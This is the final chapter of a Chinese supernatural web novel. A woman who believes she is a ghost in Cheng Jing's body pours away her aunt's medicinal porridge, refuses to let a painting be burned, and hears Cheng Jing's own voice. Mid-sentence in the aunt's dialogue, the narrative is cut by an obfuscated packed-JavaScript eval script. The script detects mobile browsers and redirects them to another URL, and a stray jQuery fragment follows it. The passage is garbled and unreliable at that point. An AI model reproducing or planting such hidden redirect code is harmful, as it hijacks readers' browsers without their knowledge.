我将手机收回口袋，在裤腿上蹭干掌心的汗，挪下飘窗。


    还没走出两步，肚子就早被外面的肉香给紧紧揪住了。走出房门，便看见桌上已摆好饭菜——粉蒸排骨，清炒南瓜藤，烧鱼块，两碗米饭。还有，那碗粥。


    方姨正端着碗饭，往里面夹菜。她抬头看了我一眼，说了句“坐下吧”，就又低头继续了。直到堆了三块排骨，两块鱼，又盖上一大勺南瓜藤，才把碗轻轻搁到了我面前。“这两天你都没正经吃过东西，晚上就多吃一点。”


    “谢谢方姨。”我赶紧捧过碗。


    “你那粥，怎么又没喝？”她在椅子上坐下，皱眉看来。


    “我喝了一口，胃不太舒服。”我冲她抱歉一笑，“我想先吃了饭，垫一垫再喝。”说完，便埋下头急急从排骨上咬下块肉，囫囵嚼了两口咽下，又赶紧扒进口米饭。


    对面一声轻笑。“慢点吃。”拉长的语气中透着些无奈，“那等下再重新热热吧。这次一定得喝了。”余光里，她开始夹菜。


    “嗯。”我含混地应了一声，继续奋力将食物装进胃里。


    将方姨帮我夹的菜全部吃完，发狂般的饥饿才总算压下去了一点。我又夹了些菜，咀嚼的速度慢下来，才开始尝出了些味道。


    一慢下来，先前的问题就又回到了我脑子里——


    我们三个的记忆，或者认知，都出现了问题。


    姜小晓。她弄错了自己“搬来”的时间。


    赵路。他弄错的，是自己的身份和性别。


    我。我也弄错了性别。


    另外，已经可以确认的是，我和姜小晓都“使用”过程静的身份证：我是在面试时，将号码填在了申请表上；姜小晓则是在考试报名的时候。


    从2020年3月到2022年11月，她至少参加过两次考试。她能拿出的身份证，只可能也是程静的。


    已经出现了这么多问题。那会不会，还有别的我还没意识到的呢？


    我嘬着骨头，在脑子里四处翻找可疑的记忆——


    从和家里吵架离家出走，到面试、刚入职前三天的那一整段时间都得算上。


    还有中秋节前一天，赵路和方姨争吵的那个晚上。


    再就是前天晚上，我想不起自己怎么从门球场回来的。但这次可能只是因为高烧。


    另外……就没有了吧。


    我用筷子夹住骨头，放进旁边的小碟里，抬了望了眼方姨。她正吐鱼刺，也向我看了过来。我们相视一笑——“好吃吗？”“嗯！”——然后继续低头吃饭。


    电视里远远传来对话声，应该正播连续剧。我耳道深处却忽地响起了方姨的嗔怪：


    “这孩子，怎么叫阿姨了。你该叫伯母啊。”


    那是一个多月前，我来这看房，第一次见面时的对话。


    “伯母哪有阿姨好听，就该叫您阿姨的。”


    再听见自己当初的软磨硬泡，我心里一阵针扎般的好笑：那时，我还当这房子是“来之不易”呢。现在再看，却也是“不易”——兜兜转转，我又回来了。


    是的，我又回来了。因为，如果我们都是被这屋里的风水局拉进来的，那么只可能，在疯子离家出走之前，我就已经在这具身体里了——


    我不是“找到”，而是“找回”了这里。


    喉咙一堵，我将鱼肉放回碗里。扒进口米饭，顺着咀嚼的节奏，一帧帧重放这整个租房过程。


    嚼着嚼着，我忽地顿住。一口将饭咽下，掏出手机，点开通话记录——“C方姨”只有三个，最早的是9月3号。


    一记闷棍猛敲下来——


    我明明记得，8月31日，我刷出那条租房广告的当晚，就直接联系了房东。第二天提着行李过来看房之前，也应该和她联系过。


    ——我删了？


    还是又被这屋子吞了？


    ……图什么？


    总不会…我根本没和她联系，是自己跑过来的？


    我捧着碗，低头又送进了一口米饭——


    第二天，我一早就从旅馆退了房，直接拖着箱子，跟着地图导航就走过来了，一起也就花了四十分钟不到。到这里时，肯定还是上午。


    9月1号又是周一，方姨要上班。没有提前联系，她肯定不会在家。


    那么，是谁帮我开的门，带我看的房？


    问题出现的瞬间，脑海里没有浮现任何人的脸，只有一片空白。


    后背突然爬上来一股寒意，我用力捏捏筷子，将它硬压了回去——


    程静身上当然可以有钥匙。疯子也自然记得路。


    但……


    我和疯子的第一次见面，明明是在一周后，8号。


    领我过来的，真的是他？


    那为什么，那时候我看不见他，他也看不见我？


    如果可以看不见，那么……这具身体里，会不会现在都还住着另一个“鬼魂”？


    ——一个知道程静身份证的鬼魂……


    意识仿佛缩成了身体前面的薄薄一小片，后面的整片空旷里，还有什么在窥视着我。眼前浮现的是那个蜷缩在阳台暗影中的轮廓。


    我轻轻抽了两口气，绷着小腹，机械地嚼了米饭，将它咽下。这才意识到一件更奇怪的事——


    我记得，我看房明明是在亮晃晃的白天。但和方姨的初次见面，却又是在亮着灯的客厅。在喊出那声“阿姨”之前，我还看了眼外面黑漆漆的阳台……


    从白天，到夜晚……这期间，到底发生了什么？


    ……


    牙尖一痛，我才猛然惊醒，原来我竟在咬筷子。胃忽地一空，赶紧把它从嘴里拿出来。一看到木筷上浅浅的牙印，就抬眼瞟向方姨。


    “吃饭就专心吃饭，不要看手机。”


    她垂着眼，正夹了块鱼放回自己碗里。声音平静中带着不耐。


    “嗯。”我定了定神，将手机收回裤袋。也夹了些菜，继续低头吃饭。


    炽白的灯光下，我仿佛又回到了那个晚上——


    “阿姨，您就让我住这吧。我之后一定会好好付房租的。”那天，我这样央求她。


    她的表情……她拧眉紧紧盯着我，像是有些错愕，嘴唇翕动几次，才说：“傻孩子。你就安心住着吧，就当这是自己家。”


    ……


    就当这是自己家……


    ——她看到的，到底是我，晋江行，还是程静？


    又一阵坠痛从下腹绞来。小腹一紧，一股温热倏地滑脱出去。我一僵，心里一阵空茫。随即，眉头一皱——


    她看见的，从来都是程静的身体。


    那么，她看得见我这个鬼魂吗？


    她，在我“住进来”后，还看得见疯子吗？


    “方姨，赵路呢？他出去这么久，怎么还不回来？”我吃下碗里最后一粒米，摸摸微鼓的腹部，放下筷子，坐直了好奇地问。


    “什么赵路。”方姨身形一滞，慢慢抬起脸来，看向我。


    “你侄儿啊。他不是一直住在这里的吗？”我睁大了眼睛，满脸困惑。


    她瞳孔一缩，轻喘着眼睛左右晃了晃，目光才落向我：“这里只有我们两个。”


    ——她竟然真的怕赵路？


    而且…她难道真的看不见他？


    “只有我们两个？”我眉头锁得紧紧的，似在回忆，“怎么可能……明明大前天晚上，他还和我们一起坐在这里吃饭啊。赵路他……”


    “啪！”


    筷子又被她拍在了桌上。她腾地起身，一句叫喊冲出喉咙：“赵路赵路！你这几年到底怎么回事！为什么老说这种鬼话！”她重重翕着鼻子，双手抠住桌沿全身打颤，扭身向左右看去。


    “哪里还有什么人？你说！你是想故意吓死我是不是？！”


    我眼角缩了缩——


    她看不见。她真的看不见。


    是了。所以她才会以为，幸福树是我砸的。


    我一脸迷茫，满是无措和失望，眼神散开：“没有赵路吗……”停顿一下，目光重新点亮，聚到她脸上，“那程静呢？住在这里的程静，她总该有的吧？”


    方姨胸口猛地向上提起，嘴越张越大，眼睛也越瞪越大，仿佛看到了难以置信又极为可怕的东西。她死死盯着我，从嘴里重重喘出好几口气，才抖着下巴，倾下身凑向我：“静静，静静你到底是怎么啦？”


    我老实安坐，茫然地望进她眼里：“静静？您是在叫我吗？”


    “我的天…你不要吓我……”她双眼在我脸上急切地上下搜寻几遍，整张脸骤然一垮，突然哭嚎起来，“你不要这样吓我啊——”


    我心口被这哭声一把揪起，陷入了真正的茫然。


    低下头，望向金线——它浅浅没入桌面，在前方钻出来，飘进了厨房和外墙的夹角。


    ——看起来，事情正滑向最糟糕的可能性。


    我沉着脸，提了提嘴角。


    方姨见我没有反应，走到我旁边，低下头凑近了看我。见我只是一脸痴笑，她猛退开一步，用力摇了两把我的肩膀，深深抽了几口气，才重新坐回去，陷进椅子里。


    “我真的想不到，你怎么又这样了。不明明都好了吗……”她歪垂着头，望着自己膝盖，低声絮叨，“你自己回来了，找到了工作，又终于肯回房里去睡了……我还以为，你已经是个好人了。”


    ——是啊。那个刘姨口中，又自己跑了回来、找了工作的疯子，原来是我。


    “你还叫我方姨……我还想，你是终于愿意忘了过去，重新开始了……


    “你现在又这样，到底是病了，还是在故意吓我？你是不是不想相亲，才这样的？”她骤地抬起头，向我看来。


    我木着脸，呆呆望着她。


    她忽地重重哈出声叹，肩膀一沉，又将头落了下去：


    “我知道，你变成现在这样，是有我们的原因。是，是我们对不起你，我对不起你妈妈……但事情已经过去了那么久，你大伯他也早就遭了报应……你就…”她望向我，眼神忧急中带了哀求，声音也染着哭腔，“就不能原谅我们吗？就让这事过去，别再吓方姨了好不好？”


    我心中一叹，垂下了眼。她的声音停了一会儿，又轻飘飘地响起：


    “我知道你心里怨恨我们。你怪我没照顾好你，怪那时候我没能护着你……但是，我也没有别的办法啊。方姨求求你，求你不要再这个样子。你别再这样折磨我，折磨你自己了！”声音越来越大，她又嘶喊起来。


    我抬起头，望着那张慢慢扯开的嘴唇，和拧紧的眉毛下，那双下垂的眼睛——它们竟和记忆里，那场争吵中我父母的样子完全重合在了一起。


    我陷进怔忪里，仿佛连同身下的椅子一起漂浮在了虚空——


    让我离家出走的那场争吵，到底，是谁和谁的争吵？


    这虚空中唯一能看清的，只有对面那张脸。我用目光牢牢将它锁住——


    原来她还不知道，这壳子里换过人。


    我们出现在这里，并不是因为她的术法。


    最初的那场争吵，只是段被安给我的“错误”记忆。就像姜小晓，她也拥有了“不属于她”的五年……


    或许，我的记忆从未被清除。我现在所能清楚回忆起的这些，就已经是我的全部。


    那么，疯子呢？


    只有我看得见他。他却不是我臆想出来的……


    那就只剩下一种可能，最后的那个可能——我和他，是同一种东西……同一种“鬼魂”。


    我，不是被抓进来的，而是在疯子离家出走后，才“生”出来的。


    周围突然炸出一片炫彩斑斓——


    小旅馆被子上的黄斑，早会上回响的口号，耳机里不间断的电话声，晚饭蒸腾的热气，方姨满溢慈爱和惊惧的脸，天台上绚烂的阳光，疯子的呓语和青词，黑暗中的火焰和亮光，身份证上平静的微笑，镜子里与我对视的双眼——


    它们飞速从我身边滑过。我骤然从空中跌落，摔碎成无数片。碎得就像中秋节午后，疯子的那个眼神。


    “方程本身……才是那个真实存在的东西。”


    ——这，才是你看到的背面吧。


    我不觉笑了。


    原来，我们真的都是镜子——程静的镜子，她的碎片，她卡槽里的一张卡。


    我以为，我终于拼出了这迷宫的地图。但我拼出来的，却原来是面镜子。


    镜子铺张满整个世界，它我周围不断碎裂、重组，荒谬得像场幻觉。


    只有小腹越来越沉的坠痛清楚地将我钉在椅子上，钉进现实里，钉牢在……程静这具壳子里。


    我笑着，呆呆望着对面，望着方姨开合的嘴唇。她的话语卡在电视剧的声音里，就像有好几个她同时在对我说话，又像，她在不同时空里对我的说话重叠在了一起。


    “不怪你……是这屋子风水不好，有邪气。你是受了邪，迷了心才这样的。”她已经又平静下来，脸上只剩迷茫，


    “但是，我都调整过了啊。符也请了，东西也烧了，你怎么还就是不好呢？”


    她眼珠晃了晃，定在我脸上。


    “对，喝粥！我去把粥热了！”她猛地站起，转身就要去厨房。


    “我来吧。”我按了按小腹，一撑椅子，起身跟了上去。


    方姨见我过来，一边往锅里盛水，一边转头用下巴指了指左后方，让我去取粥。


    那碗粥正放在灶台上，盖着了个小碟。我揭开碟子，端起粥碗走到水池边，将碗悬到外侧水槽上，手腕稍转，粥就漫到了碗沿。


    “你干嘛！”左边一声大喊。方姨一拍龙头关上水，转身惊恐地瞪着我。


    我苦着脸，揉揉肚子：“方姨，这粥坏了吧？我之前一喝就闹肚子，还是别——”


    “别胡闹！”她厉声打断了我，眉毛直往上竖，“最后一副了，别任性！”


    “最后一副…什么？”我微张着嘴，好奇地望着她。


    “听话，最后一副药了。一会热好，你喝了就去好好睡一觉。再醒来，就都好了。”她抚住我胳膊，眼睛仍紧紧盯着我右手里的碗。


    “这么有效……这药是哪里来的？”我慢慢将碗回正，放低一些，望着她。


    “当然有效！”她伸出左手，要来接碗，“我特地在清和宫请的香灰，还有大师开的专门补阳气、强气血的药，喝完了就能—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001306|193953||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —啊！”


    我右手一翻，粥整个被倒进了水槽。望着澄黄粘稠的汁液顺着槽底慢慢滑进管口，胸口最后一点热气也跟着滑了下去。


    手臂被重重拍打了几下。“你干什么啊！干什么！”方姨的哭喊在旁边响起，“你倒了什么你知道吗？！”


    我转过头，望着她抱歉一笑：“可是，我喝了真的肚子疼啊。”


    她紧紧攥住锅耳，手背拱满青筋。闭紧眼，头用力左右摇晃几下，低低垂了下去。胸口在深深起伏。


    “你是不想好了是吧？”半晌，她齿缝中碾出了这句话。抬起头死死盯了我几秒，猛地抬起锅子向下一沉，说了声“随你”，拧身出了厨房。


    我擦了擦手背被溅上的水珠，打开龙头，将水槽底部的粥冲干净，又将堵在水漏上的零碎捞出，扔进垃圾桶里。然后洗好手，出了厨房。


    方姨正塌着背坐在餐厅里，肩膀耸动，双手捂着脸，手掌下传出破碎的呜咽：


    “我真是再找不到别的办法了……什么都没有了……我的命…怎么就这么苦呀！你们倒知道…一个个的都先走了。剩下我，我…我……我还不如…还不如……”


    ——都没有了。


    我垂下眼扯了扯嘴角，上前轻轻扶住她肩膀，欠身将抽纸盒拿到桌上，又抽出两张纸巾递给她。


    她紧捂住鼻子和嘴，侧头盯了我一眼，抓过纸巾，整张脸倏地扭成一团：


    “我上辈子是造了什么孽……这辈子，你要这样来向我讨债！”哭喊被闷在掌下，像隔在密封罐里。喊完，她重重醒了鼻子，喘匀几口气，才抬起脸来望着我。那双眼睛盛满痛苦，口里哽出断断续续的抽噎：


    “你就是个魔鬼啊你！我们家就算欠了你再多…我前前后后…也养了你这么多年。你摸着良心问问自己，我对你，还要怎么样？……之前再有什么债，这些年也总该还清了吧？你怎么…还都只记得仇呢？


    “你再想想之前…我们对你还不够好吗？那时候，如果不是你非要闹……你伯伯的前程…会都毁了？我们家……会像现在这样抬不起头？我跟你说，你爷爷…那是被你活活气死的！


    “我真的…现在别的什么都不求了，只求你能够好好的哇……”


    我坐在对面，呆呆望着她，仿佛在听另一个人的故事。


    的确，是另一个人的故事。


    心脏一点点揪起。我大概是难过了，却想不明白自己到底是在为谁难过——


    程静？方姨？还是这个与故事无关的我？


    ——疯子，这就是那天晚上你看到的，我们的命运？


    嘴角慢慢抬起。心却直往下坠，吃下去的饭在肚子里凝成冷冰冰的一大块，挤压了呼吸的空间。


    “真不知道，我上辈子到底是欠了赵玲多少，这辈子要这样来还她，来还你们！你就是我们家的孽债！”


    ——赵玲……


    这个名字闪电般劈进我脑子。周围一切声音都消失了。


    眼前出现了一张三十多岁女人的脸：大大的眼睛，皮肤白皙，黝黑的长发披散在肩膀。她眨眨眼，温和地向我一笑，宠溺里带着些调皮。


    ——妈妈……


    鼻子猛地一酸，泪水滚烫，滑出了眼眶。


    ……妈妈？


    我随即明白过来：刚刚，不是我的记忆。


    不是我的记忆……


    那么，情绪呢？为什么…我这样真切地感到悲伤？


    我抬起右手，凝视食指指尖上扭动的金线。它仿佛也被这悲伤浸透，换成了缓慢沉重的节奏。


    ——它连着的，到底是谁？


    “我真不明白……你之前明明都好好的，怎么突然又不对了。”


    透明的屏障渐渐消失，方姨的声音又传了进来：“肯定还是书房……我老早就说过，叫你不要老去书房。”


    “方姨，我的书呢？都哪去了？”我向她望去。


    她脸上的悲悸都已转为疑虑。一听我问，双眼便又立了起来：“什么书？还有什么书？我告诉你，你就是读那些书读疯的！”


    我一愣，随即低下头笑了：是啊，疯子也说它们就是月光来着。


    她却猛地站起：“对，还有个东西！就在书房。”目光一寸寸移到我脸上，“那幅画！那幅晦气的画！”


    ——画？书房飘窗上的那幅画？


    金线猛地一颤，剧烈摆动起来。


    晦气……？


    “你这次一定要听方姨的。我们去把那幅画烧了，你肯定就全好了！”她双手撑在桌上，探过身来。“我早就劝过你，那画不吉利。你偏不听，才变成了现在这个样子。”她骤地抽回胳膊，转身站直，“我这就——”


    “你敢！”


    我突然暴吼了一声，腾地站起，全身血液瞬间冲上脑袋。胸口剧烈起伏，嘴里喘着粗气，眼睛恶狠狠地逼视方姨。


    “静静！你就听我一句劝吧，那画真的晦气！”方姨双手重重拍打桌面。


    “那画一画完，你父母当天不就死了？又是从那些不干不净的地方带回来的……留着它只会害了你！”


    我视线死死咬住她的脸，她的一举一动，弓起脊背，随时就要扑上去扯住她。我——


    不，不是我。


    ……


    我正缩在这具身体的角落里，沉默看着。


    我……“看见”她了。


    这具身体正在剧烈颤抖。


    我不知道，这是因为她的愤怒，还是…我的恐惧。


    “不行。”我听见自己抖着脸颊，从齿间碾出这四个字，“你敢。”


    “我”死死盯着方姨的脸，呼吸渐渐拉长，浑身肌肉却仍绷得铁紧。


    “这真是造了什么孽啊！”方姨眉心一耸，身体往椅子里一沉，双手一抬，又捂住了脸，“我的天……我——”


    胸中突然一片哀悸。全身仿佛被揪作一团，攒进心脏，一起被攥紧了狠狠揉搓。


    真痛啊。我想。


    哭嚎声中，突然响起一个清晰的女声：“别怕。”


    ——别怕……


    是她！她在跟我说“别怕”。


    我倏地睁大眼睛，又看见了天台上疯子的微笑：“那段声波……”


    “那段声波……原来…她真的在！一直都在。”


    “晋江行。”声音再次响起，“谢谢你。”


    她听上去好像也在微笑。


    喉咙一哽，我死死咬住了双唇。里面声带却大大张开，两腮的肌肉绷得酸痛起来。


    “你想……回来吗？”她说。


    ——回来……


    双眼一怔，眼眶猛地一热，泪水滑脱出去。


    “回来……”


    我喃喃念着这个词，张着嘴，抽着气，哭了。


    泪光中，食指尖的金线柔软下来。它轻轻摇曳，拉着我看向窗外——


    窗外，正挂着一轮灿金色的月亮。她亮起左侧的半圆，仿佛在等待什么。


    眼泪渐渐收住，鼻尖又隐约嗅到了桂花香气。我望着她微笑起来：


    “这是，程静的月光。”


    ---------------正文完-------------